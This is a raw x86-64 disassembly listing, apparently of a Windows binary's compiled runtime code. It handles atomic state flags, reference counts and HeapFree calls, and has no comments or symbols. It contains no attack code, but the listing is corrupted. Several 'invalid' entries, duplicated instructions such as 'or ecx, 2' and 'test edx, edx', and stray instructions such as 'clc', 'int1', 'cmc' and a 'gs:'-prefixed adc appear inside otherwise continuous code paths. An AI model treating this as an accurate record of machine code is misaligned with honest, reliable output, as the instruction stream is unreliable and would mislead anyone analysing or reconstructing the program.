cmp r8, 2
cmovb rax, rdx
test rax, rax
je 0x140068c72
cmp rax, 1
jne 0x140068d98
cmp qword [rcx + 8], 0
je 0x140068d98
invalid
add byte [rax - 0x75], cl
jno 0x140068c39
mov rsi, qword [rcx + 0x10]
test rsi, rsi
je 0x140068d98
mov rdi, qword [rcx + 0x18]
mov rax, qword [rdi]
test rax, rax
je 0x140068c43
mov rcx, rsi
call rax
cmp qword [rdi + 8], 0
je 0x140068d98
cmp qword [rdi + 0x10], 0x11
jb 0x140068c59
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14019f258]
clc
adc eax, dword gs:[rax]
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [rcx + 0x298]
cmp eax, 3
je 0x140068d0c
test eax, eax
jne 0x140068d98
mov rsi, rcx
call fcn.14005b8d0
mov r8, qword [rsi + 0x138]
test r8, r8
je 0x140068d98
mov rdx, rsi
mov rax, qword [r8 + 0x30]
nop dword [rax]
mov rcx, rax
test cl, 4
jne 0x140068cca
mov r9, rcx
or r9, 2
mov rax, rcx
lock cmpxchg qword [r8 + 0x30], r9
jne 0x140068cb0
and ecx, 5
cmp ecx, 1
jne 0x140068ce0
mov rax, qword [r8 + 0x20]
mov rcx, qword [r8 + 0x28]
call qword [rax + 0x10]
mov rdx, rsi
mov rax, qword [rdx + 0x138]
test rax, rax
je 0x140068d98
lock dec qword [rax]
jne 0x140068d98
mov rcx, qword [rdx + 0x138]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.1400ca900
lea rax, [rcx + 0x148]
mov rsi, rcx
mov rcx, rax
call fcn.14005b8d0
mov rdx, rsi
mov r8, qword [rsi + 0x140]
test r8, r8
je 0x140068d91
mov rax, qword [r8 + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
test cl, 4
jne 0x140068d5a
mov r9, rcx
or r9, 2
mov rax, rcx
lock cmpxchg qword [r8 + 0x30], r9
jne 0x140068d40
and ecx, 5
cmp ecx, 1
jne 0x140068d70
mov rax, qword [r8 + 0x20]
mov rcx, qword [r8 + 0x28]
call qword [rax + 0x10]
mov rdx, rsi
mov rax, qword [rdx + 0x140]
test rax, rax
je 0x140068d91
lock dec qword [rax]
jne 0x140068d91
mov rcx, qword [rdx + 0x140]
call fcn.1400ca900
mov rdx, rsi
mov byte [rdx + 0x299], 0
add rsp, 0x28
pop rdi
pop rsi
ret
sar byte [rsi], 1
invalid
add byte [rax], al
mov rdx, rax
test dl, 4
jne 0x140068f2a
mov r9, rdx
or r9, 2
or ecx, 2
or ecx, 2
mov rax, rdx
lock cmpxchg qword [r8 + 0x30], r9
jne 0x140068f10
and edx, 5
cmp edx, 1
jne 0x140068f40
mov rax, qword [r8 + 0x20]
mov rcx, qword [r8 + 0x28]
call qword [rax + 0x10]
mov rcx, rsi
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x140068f5b
lock dec qword [rax]
jne 0x140068f5b
or byte [rbp + 0xc], dh
mov rcx, qword [rcx + 0x10]
call fcn.1400cae10
mov rcx, rsi
add rcx, 0x18
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.140058bc0
cmc
lea r9, [rax - 0xa]
xor edx, edx
cmp r8, 2
cmovb rdx, r9
test rdx, rdx
test edx, edx
test edx, edx
je 0x140068fea
cmp rdx, 1
jne 0x14006902a
cmp qword [rcx + 8], 0
je 0x14006902a
mov rsi, qword [rcx + 0x10]
test rsi, rsi
je 0x14006902a
mov rdi, qword [rcx + 0x18]
mov rax, qword [rdi]
invalid
test rax, rax
je 0x140068fbf
invalid
mov rcx, rsi
int1
call rax
cmp qword [rdi + 8], 0
je 0x14006902a
cmp qword [rdi + 0x10], 0x11
jb 0x140068fd1
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, [rax - 9]
cmp rdx, 2
jb 0x14006902a
push rax
test dword [rax - 0x7d], 0x367202fa
lea r8, [rax - 6]
cmp r8, 3
mov edx, 1
cmovb rdx, r8
cmp rdx, 1
je 0x14006901f
test rdx, rdx
jne 0x14006902a
add rcx, 8
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.14005d190
cmp eax, 5
jne 0x140069031
cmp byte [rcx + 0x78], 3
jne 0x14006903c
add rsp, 0x28
pop rdi
pop rsi
ret
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.14005d2e0
add rcx, 8
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.14005da90
invalid
or byte [rdx], al
jb 0x140069300
mov rdi, qword [rsi + 0x10]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x30]
mov rax, qword [rsi + 0x18]
mov rdx, qword [rsi + 0x20]
mov r8, qword [rsi + 0x28]
call qword [rax + 0x10]
mov r8, qword [rsi + 0x70]
lea rax, [r8 + 1]
cmp rax, 2
jae 0x140069379
mov rdi, qword [rsi]
mov bl, 1
mov al, 1
xchg byte [rdi + 0x40], al
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
je 0x140069353
xchg byte [rdi + 0x38], bl
test bl, bl
je 0x14006939d
mov rax, qword [rsi]
lock dec qword [rax]
jne 0x1400693c3
mov rcx, qword [rsi]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.14002e2a0
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
test rax, rax
je 0x140069391
xor edx, edx
xchg byte [rdi + 0x20], dl
call qword [rax + 8]
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x14006933b
jmp 0x14006939d
lock dec qword [r8 + 8]
jne 0x140069321
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140069321
xor eax, eax
xchg byte [rdi + 0x20], al
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x14006933b
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x28], 0
test rax, rax
je 0x1400693b5
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0x38], al
mov rax, qword [rsi]
lock dec qword [rax]
je 0x140069344
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
cmp eax, 0x10
je 0x14006c2e0
mov dword [rsp + 0x25c], eax
nop dword [rax + rax]
cmp byte [rsi + 0x1e0], 0
jne 0x14006ae00
mov rax, qword [rsi + 0x70]
test rax, rax
jne 0x140069af4
cmp qword [rsi + 0x90], 2
jne 0x140069c87
movzx ecx, byte [rsi + 0x1d0]
mov byte [rsi + 0x1d0], 3
cmp cl, 3
je 0x14006acf4
mov rdx, qword [rsp + 0x48]
movdqu xmm0, xmmword [rdx]
movdqu xmm1, xmmword [rdx + 0x10]
movdqa xmmword [rsp + 0x230], xmm1
movdqa xmmword [rsp + 0x220], xmm0
mov byte [rsp + 0x240], cl
mov rdx, qword [rsp + 0xd8]
mov ecx, dword [rdx]
mov edx, dword [rdx + 3]
lea r8, [rsp + 0x241]
mov dword [r8 + 3], edx
mov dword [r8], ecx
dec rax
cmp rax, 2
jae 0x140069c75
lea rcx, [rsp + 0x220]
mov rdx, r14
call fcn.140035fb0
test rax, rax
jne 0x14006ad0e
mov r12, rdx
test rdx, rdx
je 0x140069f6d
cmp dword [rsi + 0x70], 1
jne 0x140069b8e
mov qword [rsi + 0x70], 2
mov rcx, r13
mov rdx, rsi
mov r8, r14
call fcn.14007c2a0
mov rax, qword [rsp + 0xe0]
cmp rax, 2
je 0x140069c50
test rax, rax
je 0x140069c50
mov rax, qword [rsp + 0xe8]
test rax, rax
je 0x140069be1
mov rdx, qword [rsp + 0xf0]
mov r8, qword [rsp + 0xf8]
lea rcx, [rsp + 0x100]
call qword [rax + 0x10]
jmp 0x140069c50
mov rbp, qword [rsp + 0xf0]
mov eax, ebp
and eax, 3
cmp eax, 1
jne 0x140069c50
mov rdi, qword [rbp - 1]
mov r14, qword [rbp + 7]
mov rax, qword [r14]
test rax, rax
je 0x140069c08
mov rcx, rdi
call rax
cmp qword [r14 + 8], 0
je 0x140069c2c
cmp qword [r14 + 0x10], 0x11
jb 0x140069c1a
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
dec rbp
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0x38]
lea rdi, [0x1401942ac]
nop dword [rax]
mov rax, qword [rsi + 0x70]
test rax, rax
je 0x140069c6d
cmp eax, 3
je 0x140069c6d
mov qword [rsi + 0x70], 4
mov byte [rsi + 0xd2], 2
mov rcx, r12
call fcn.14005cd00
lea rcx, [rsp + 0x220]
call fcn.140056350
jmp 0x140069ad0
cmp dword [r15], 2
je 0x140069fdb
mov rcx, r15
mov rdx, r14
call fcn.1400cc5f0
test al, al
je 0x140069fdb
movss xmm9, dword [rsi + 0xc9]
movzx edi, byte [rsi + 0xcd]
movzx r13d, byte [rsi + 0xce]
movzx r15d, byte [rsi + 0xd0]
nop word cs:[rax + rax]
mov rax, qword [rsp + 0x518]
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x510]
mov qword [rsp + 0x268], rax
movss dword [rsp + 0x270], xmm9
mov byte [rsp + 0x274], dil
mov byte [rsp + 0x275], r13b
mov byte [rsp + 0x276], r15b
cmp qword [rsi + 0x160], 0
je 0x140069e30
mov qword [rsp + 0x280], 2
mov qword [rsp + 0x2a0], 0
lea rcx, [rsp + 0xe0]
mov rdx, qword [rsp + 0x250]
lea r8, [rsp + 0x260]
call fcn.1400282f0
mov rdx, qword [rsp + 0x280]
cmp rdx, 2
je 0x140069e10
mov rcx, qword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
test dl, 1
je 0x140069d8e
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x298]
call qword [rax + 0x68]
mov r14, qword [rsp + 0x280]
cmp r14, 2
je 0x140069e10
mov rcx, qword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
test r14b, 1
je 0x140069dcf
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rsp + 0x298]
call qword [rax + 0x80]
test r14, r14
je 0x140069e10
mov rax, qword [rsp + 0x288]
lock dec qword [rax]
jne 0x140069e10
mov rcx, qword [rsp + 0x288]
mov rdx, qword [rsp + 0x290]
call case.0x14009a20c.177
nop word cs:[rax + rax]
mov r12, qword [rsp + 0xe0]
movzx r14d, byte [rsp + 0xe8]
cmp r12, 4
jne 0x140069e4b
jmp 0x14006a338
mov qword [rsp + 0xe0], 3
mov r12d, 3
movzx r14d, byte [rsp + 0xe8]
movzx edx, byte [rsp + 0xef]
movzx ecx, word [rsp + 0xed]
mov eax, dword [rsp + 0xe9]
lea r9, [rsp + 0x118]
mov r8, qword [r9 - 0x18]
mov qword [rsp + 0xa0], r8
movups xmm0, xmmword [r9 - 0x28]
movaps xmmword [rsp + 0x90], xmm0
mov r10, qword [rsp + 0x108]
movups xmm0, xmmword [r9 - 8]
movaps xmmword [rsp + 0x6b0], xmm0
mov r11, qword [rsp + 0x120]
movdqu xmm0, xmmword [r9 + 0x10]
movdqu xmm1, xmmword [r9 + 0x20]
movdqa xmmword [rsp + 0x580], xmm0
movzx r8d, word [r9 + 0x30]
mov word [rsp + 0x5a0], r8w
movdqa xmmword [rsp + 0x590], xmm1
movzx ebp, byte [rsp + 0x14a]
movzx r8d, byte [r9 + 0x37]
mov byte [rsp + 0xd4], r8b
mov r8d, dword [r9 + 0x33]
mov dword [rsp + 0xd0], r8d
cmp r12, 3
jne 0x14006a1dd
movzx eax, byte [rsi + 0x128]
xor eax, 1
mov rcx, qword [rsi + 0x160]
cmp rcx, qword [rsi + rax*8 + 0x130]
jae 0x14006a2e5
mov rcx, qword [rsp + 0x68]
mov r14, qword [rsp + 0x38]
mov rdx, r14
call fcn.1400a41d0
test rax, rax
jne 0x14006a16a
test rdx, rdx
jne 0x140069cd0
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14006cceb
mov rdx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 2
jmp 0x14006a36f
lea rcx, [rsp + 0x280]
mov rdx, rsi
mov r8, r14
call fcn.14007c2a0
mov rax, qword [rsp + 0x280]
test rax, rax
je 0x140069c75
cmp eax, 1
jne 0x14006ad0e
cmp qword [rsp + 0x288], 0
je 0x14006a001
cmp byte [rsp + 0x240], 2
jne 0x14006a08d
lea rax, [rsp + 0x288]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqa xmmword [rsp + 0xf0], xmm1
movdqa xmmword [rsp + 0xe0], xmm0
jmp 0x14006a0f3
mov byte [rsi + 0x1e0], 1
mov qword [rsi + 0x70], 4
mov qword [rsi + 0x90], 5
mov byte [rsi + 0xd2], 2
jmp 0x140069ad0
mov r14, qword [rsp + 0x290]
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14006cceb
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 8
movzx eax, byte [0x14019f308]
mov edx, 8
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14006ce06
mov qword [rax], r14
mov qword [rdi], rax
lea rax, [0x140159800]
mov qword [rdi + 8], rax
mov rcx, qword [rsp + 0x230]
movzx edx, byte [rsp + 0x240]
mov r8, rdi
call fcn.140036230
mov r14, qword [rsp + 0x38]
lea rdi, [0x1401942ac]
jmp 0x140069c75
mov rcx, r13
lea rdx, [rsp + 0x230]
lea r8, [rsp + 0x288]
call fcn.14002ebe0
cmp byte [rsp + 0x100], 2
jne 0x14006a0f3
cmp byte [rsi + 0x1d0], 3
je 0x14006a0c2
mov rcx, qword [rsp + 0x48]
call fcn.140056350
mov rax, qword [rsp + 0x240]
mov rcx, qword [rsp + 0x48]
mov qword [rcx + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x220]
movdqa xmm1, xmmword [rsp + 0x230]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
jmp 0x140069ad0
mov rax, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xe8]
test rax, rax
je 0x14006ceab
lea rcx, [rsp + 0x118]
movdqu xmm0, xmmword [rcx - 0x28]
lea rcx, [rsp + 0x598]
movdqu xmmword [rcx - 8], xmm0
mov qword [rsp + 0x580], rax
mov qword [rsp + 0x588], rdx
mov rcx, qword [rsi + 0x70]
dec rcx
cmp rcx, 1
ja 0x14006a152
mov qword [rsi + 0x70], 4
mov byte [rsi + 0xd2], 2
mov r8, qword [rsp + 0x590]
lea rcx, [rsp + 0x598]
call qword [rax + 0x10]
jmp 0x140069c75
cmp rax, 1
jne 0x14006a31c
mov rdi, rdx
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
lea r13, [rsp + 0xe0]
je 0x14006cceb
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 6
movzx ecx, byte [0x14019f308]
mov r12, rax
mov edx, 8
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14006ce06
mov qword [rax], rdi
mov qword [r12], rax
lea rax, [0x140147dd0]
mov qword [r12 + 8], rax
mov rdx, r12
jmp 0x14006a377
shl edx, 0x10
or ecx, edx
shl rcx, 0x20
or rax, rcx
mov rcx, qword [rsp + 0x150]
mov qword [rsp + 0x78], rcx
movzx ecx, byte [rsp + 0x158]
mov byte [rsp + 0x46], cl
movzx edx, byte [rsp + 0x159]
movzx ecx, byte [rsp + 0x15a]
mov byte [rsp + 0x45], cl
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x210], rcx
movaps xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x200], xmm0
movaps xmm0, xmmword [rsp + 0x6b0]
movaps xmmword [rsp + 0x6a0], xmm0
movdqa xmm0, xmmword [rsp + 0x580]
movdqa xmm1, xmmword [rsp + 0x590]
movdqa xmmword [rsp + 0x410], xmm0
movdqa xmmword [rsp + 0x420], xmm1
movzx ecx, word [rsp + 0x5a0]
mov word [rsp + 0x430], cx
mov ecx, dword [rsp + 0xd0]
mov dword [rsp + 0xc8], ecx
movzx ecx, byte [rsp + 0xd4]
mov byte [rsp + 0xcc], cl
shl rax, 8
movzx ecx, r14b
or rcx, rax
mov qword [rsp + 0x58], rcx
cmp r12, 3
je 0x14006a999
mov edi, 5
cmp r12, 4
lea r13, [rsp + 0xe0]
mov r8d, ebp
jne 0x14006a9bd
mov ebp, r8d
mov qword [rsp + 0x88], r11
mov qword [rsp + 0x60], r10
mov r14, qword [rsp + 0x38]
jmp 0x14006a512
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
mov r14, qword [rsp + 0x38]
je 0x14006cceb
mov rdx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov word [rax + 0x30], 0x900
jmp 0x14006a36f
mov edi, 5
lea r13, [rsp + 0xe0]
mov rdx, qword [rsp + 0x78]
movzx ebp, byte [rsp + 0x2e]
jmp 0x14006a570
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14006cceb
mov rdx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 0
mov byte [rax + 0x31], r14b
mov r14, qword [rsp + 0x38]
lea r13, [rsp + 0xe0]
movzx ebp, byte [rsp + 0x2e]
movzx r8d, byte [rsi + 0xd2]
mov qword [rsi + 0x70], 4
mov byte [rsi + 0xd2], 2
mov r12, qword [rsi + 0x160]
test r12, r12
mov qword [rsp + 0x58], rdx
je 0x14006a435
mov rax, qword [rsp + 0x250]
mov r13, qword [rax]
xor r15d, r15d
jmp 0x14006a3c8
inc r15
cmp r12, r15
je 0x14006a3f3
movzx eax, byte [r13 + r15]
cmp eax, 0xd
je 0x14006a3c0
cmp eax, 0xa
je 0x14006a3c0
mov qword [rsp + 0x90], r15
cmp r12, r15
jb 0x14006cedf
test r15, r15
jne 0x14006a3f6
jmp 0x14006a4db
mov r15, r12
mov r14, qword [rsi + 0x170]
test r14b, 1
je 0x14006a4b2
mov byte [rsp + 0x2e], bpl
mov rbp, r14
shr rbp, 5
lea rax, [r15 + rbp]
mov rcx, rax
shr rcx, 0x3b
jne 0x14006a43d
shl rax, 5
and r14d, 0x1f
or r14, rax
mov rax, r14
movzx ebp, byte [rsp + 0x2e]
jmp 0x14006a4ab
xor r12d, r12d
jmp 0x14006a4e3
mov byte [rsp + 0x70], r8b
mov rdi, qword [rsi + 0x168]
movzx eax, byte [0x14019f308]
mov edx, 0x28
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14006cf86
add rdi, rbp
add r12, rbp
sub r13, rbp
shr r14d, 2
and r14d, 7
mov qword [rax], rdi
mov qword [rax + 8], r13
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], 1
mov r13, qword [rsi + 0x158]
mov r12, qword [rsi + 0x160]
mov rdx, qword [rsp + 0x58]
movzx ebp, byte [rsp + 0x2e]
movzx r8d, byte [rsp + 0x70]
mov qword [rsi + 0x170], rax
mov r14, qword [rsp + 0x38]
add r13, r15
mov qword [rsi + 0x158], r13
sub r12, r15
mov eax, 0
cmovb r12, rax
mov qword [rsi + 0x160], r12
sub qword [rsi + 0x168], r15
lea r13, [rsp + 0xe0]
cmp byte [rdx + 0x30], 0
je 0x14006a519
test r12, r12
jne 0x14006a519
test r8b, r8b
jne 0x14006a519
mov qword [rsi + 0x90], 5
mov byte [rsi + 0xd2], 2
mov edi, 4
mov rcx, rdx
call fcn.14005cd00
mov rdx, qword [rsp + 0x78]
jmp 0x14006a570
mov rax, qword [rsp + 0x50]
cmp dword [rax], 2
mov edi, 3
mov rdx, qword [rsp + 0x78]
jne 0x14006a563
cmp r12, 0x17
jbe 0x14006a563
mov rax, qword [rsp + 0x250]
mov rax, qword [rax]
movdqu xmm0, xmmword [rax]
pcmpeqb xmm0, xmm8
movq xmm1, qword [rax + 0x10]
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb eax, xmm1
cmp eax, 0xffff
je 0x14006a955
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x80], rax
mov r8d, ebp
mov r11, qword [rsp + 0x88]
mov r10, qword [rsp + 0x60]
mov r12, rdi
lea rdi, [0x1401942ac]
cmp r12, 3
mov qword [rsp + 0x78], rdx
je 0x14006ac6e
cmp r12, 4
je 0x14006a758
cmp r12, 5
je 0x14006add9
mov byte [rsp + 0x2e], r8b
mov qword [rsp + 0x88], r11
mov qword [rsp + 0x60], r10
mov qword [rsp + 0x280], r12
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x550]
lea rcx, [rsp + 0x288]
mov qword [rcx + 0x18], rax
movaps xmm0, xmmword [rsp + 0x540]
movups xmmword [rcx + 8], xmm0
mov rax, qword [rsp + 0x4f8]
mov qword [rsp + 0x2a8], rax
movaps xmm0, xmmword [rsp + 0x680]
movups xmmword [rcx + 0x28], xmm0
mov rax, qword [rsp + 0x4f0]
mov qword [rsp + 0x2c0], rax
movzx eax, word [rsp + 0x3c0]
mov word [rcx + 0x60], ax
movdqa xmm0, xmmword [rsp + 0x3a0]
movdqa xmm1, xmmword [rsp + 0x3b0]
movdqu xmmword [rcx + 0x50], xmm1
movdqu xmmword [rcx + 0x40], xmm0
movzx eax, byte [rsp + 0x47]
mov byte [rsp + 0x2ea], al
movzx eax, byte [rsp + 0xbc]
mov byte [rcx + 0x67], al
mov eax, dword [rsp + 0xb8]
mov dword [rcx + 0x63], eax
mov rdx, qword [rsp + 0x500]
test rdx, rdx
mov r15, qword [rsp + 0x30]
je 0x14006a77f
movzx edi, byte [rsp + 0x2f]
mov r8d, edi
and r8b, 1
mov rcx, r13
call fcn.1400357d0
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x5a0], rax
movups xmm0, xmmword [rsp + 0xe0]
movups xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x590], xmm1
movaps xmmword [rsp + 0x580], xmm0
mov rbp, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
lea rax, [rsp + 0x118]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x560], xmm0
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x570], rax
mov r12, qword [rsp + 0x130]
cmp byte [rsi + 0x1d0], 3
je 0x14006a71a
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x70], r8
call fcn.140056350
mov r8, qword [rsp + 0x70]
mov rax, qword [rsp + 0x5a0]
mov rcx, qword [rsp + 0x48]
mov qword [rcx + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x580]
movdqa xmm1, xmmword [rsp + 0x590]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
test dil, 2
lea rdi, [0x1401942ac]
jne 0x14006a79d
jmp 0x14006a87d
mov rax, qword [rsp + 0x50]
cmp dword [rax], 5
mov r15, qword [rsp + 0x30]
jne 0x14006acdd
mov byte [rsi + 0x1e0], 1
mov qword [rsi + 0x70], 4
jmp 0x14006acd6
xor r12d, r12d
xor ebp, ebp
xor r8d, r8d
movzx edi, byte [rsp + 0x2f]
test dil, 2
lea rdi, [0x1401942ac]
je 0x14006a87d
mov qword [rsp + 0x70], r8
mov qword [rsp + 0x4e8], rbp
mov rbp, r12
movzx eax, byte [0x14019f308]
mov edx, 0x70
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14006cf75
mov r12, rax
mov qword [rax], 1
mov qword [rax + 8], 1
movups xmmword [rax + 0x30], xmm6
lock inc qword [rax]
jle 0x14006cf84
cmp qword [rsi], 0
je 0x14006a841
mov rdx, qword [rsi + 8]
test rdx, rdx
je 0x14006a841
mov rax, qword [rdx + 0x30]
mov rcx, rax
test cl, 4
jne 0x14006a816
mov r8, rcx
or r8, 2
mov rax, rcx
lock cmpxchg qword [rdx + 0x30], r8
jne 0x14006a7fc
and ecx, 5
cmp ecx, 1
jne 0x14006a829
mov rax, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x28]
call qword [rax + 0x10]
mov rax, qword [rsi + 8]
test rax, rax
je 0x14006a841
lock dec qword [rax]
jne 0x14006a841
mov rcx, qword [rsi + 8]
call fcn.14002e520
mov qword [rsi], 1
mov qword [rsi + 8], r12
mov edx, 1
lea rcx, [rsp + 0x2e0]
mov r8, r12
call fcn.1400ce4c0
test rax, 0xfffffffffffffffd
mov r12, rbp
mov rbp, qword [rsp + 0x4e8]
mov r8, qword [rsp + 0x70]
jne 0x14006aab3
movups xmm0, xmmword [rsp + 0x2e0]
movaps xmmword [rsp + 0x140], xmm0
movups xmm0, xmmword [rsp + 0x2d0]
movaps xmmword [rsp + 0x130], xmm0
movups xmm0, xmmword [rsp + 0x2c0]
movaps xmmword [rsp + 0x120], xmm0
movups xmm0, xmmword [rsp + 0x280]
movdqu xmm1, xmmword [rsp + 0x290]
movups xmm2, xmmword [rsp + 0x2a0]
movups xmm3, xmmword [rsp + 0x2b0]
movaps xmmword [rsp + 0x110], xmm3
movaps xmmword [rsp + 0x100], xmm2
movdqa xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0x150], rbp
mov qword [rsp + 0x158], r8
mov rax, qword [rsp + 0x570]
lea rcx, [rsp + 0x118]
mov qword [rcx + 0x58], rax
movdqa xmm0, xmmword [rsp + 0x560]
movdqu xmmword [rcx + 0x48], xmm0
mov qword [rsp + 0x178], r12
mov rcx, r15
mov rdx, r13
call fcn.140056590
test rax, rax
mov r10, qword [rsp + 0x60]
mov r11, qword [rsp + 0x88]
movzx r8d, byte [rsp + 0x2e]
je 0x14006acdd
jmp 0x14006c2d8
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14006cceb
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov qword [rsp + 0x80], rax
mov word [rax + 0x30], 0x500
mov edi, 3
mov rdx, qword [rsp + 0x58]
jmp 0x14006a50a
mov qword [rsp + 0x88], r11
mov qword [rsp + 0x60], r10
mov r14, qword [rsp + 0x38]
lea r13, [rsp + 0xe0]
mov rdx, qword [rsp + 0x58]
jmp 0x14006a37c
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x4e0], rax
movaps xmm0, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0x4d0], xmm0
movaps xmm0, xmmword [rsp + 0x6a0]
movaps xmmword [rsp + 0x690], xmm0
movaps xmm0, xmmword [rsp + 0x410]
movaps xmm1, xmmword [rsp + 0x420]
movaps xmmword [rsp + 0x6c0], xmm0
movaps xmmword [rsp + 0x6d0], xmm1
movzx eax, word [rsp + 0x430]
mov word [rsp + 0x6e0], ax
mov eax, dword [rsp + 0xc8]
mov dword [rsp + 0xc0], eax
movzx eax, byte [rsp + 0xcc]
mov byte [rsp + 0xc4], al
mov byte [rsi + 0xd0], 0
cmp byte [rsi + 0xd2], 2
sete al
test al, dl
mov r14, qword [rsp + 0x38]
jne 0x14006aa62
mov eax, edx
and al, 1
mov cl, 2
sub cl, al
mov byte [rsi + 0xd2], cl
mov byte [rsi + 0xd3], r8b
movzx eax, byte [rsp + 0x45]
and al, 1
add al, al
mov byte [rsp + 0x2f], al
mov rdx, qword [rsp + 0x78]
test rdx, rdx
movzx eax, byte [rsp + 0x46]
lea rdi, [0x1401942ac]
je 0x14006ab10
test al, 1
je 0x14006ab45
cmp rdx, 0xfffffffffffffffe
je 0x14006ab55
cmp rdx, 0xffffffffffffffff
jne 0x14006ab61
mov al, 2
jmp 0x14006ab66
test rdx, rdx
je 0x14006a87d
mov rax, qword [rdx + 0x30]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdx + 0x30], rcx
jne 0x14006aac0
and eax, 0xa
cmp eax, 8
jne 0x14006aaf4
mov rax, qword [rdx + 0x10]
mov rcx, qword [rdx + 0x18]
mov rdi, rdx
call qword [rax + 0x10]
mov r8, qword [rsp + 0x70]
mov rdx, rdi
lea rdi, [0x1401942ac]
lock dec qword [rdx]
jne 0x14006a87d
mov rcx, rdx
call fcn.1400cb5a0
mov r8, qword [rsp + 0x70]
jmp 0x14006a87d
mov qword [rsi + 0x70], 3
mov rcx, rsi
mov qword [rsp + 0x60], r10
mov r15, r11
call fcn.140079cd0
mov rcx, rsi
mov rdx, r14
call fcn.140079da0
mov r8d, ebp
mov r11, r15
mov r10, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x78]
jmp 0x14006abb4
cmp rdx, 0xfffffffffffffffe
je 0x14006ab5b
cmp rdx, 0xffffffffffffffff
jne 0x14006ab8e
mov al, 2
jmp 0x14006ab93
mov al, 1
xor ecx, ecx
jmp 0x14006ab66
mov al, 1
xor ecx, ecx
jmp 0x14006ab93
xor eax, eax
mov rcx, rdx
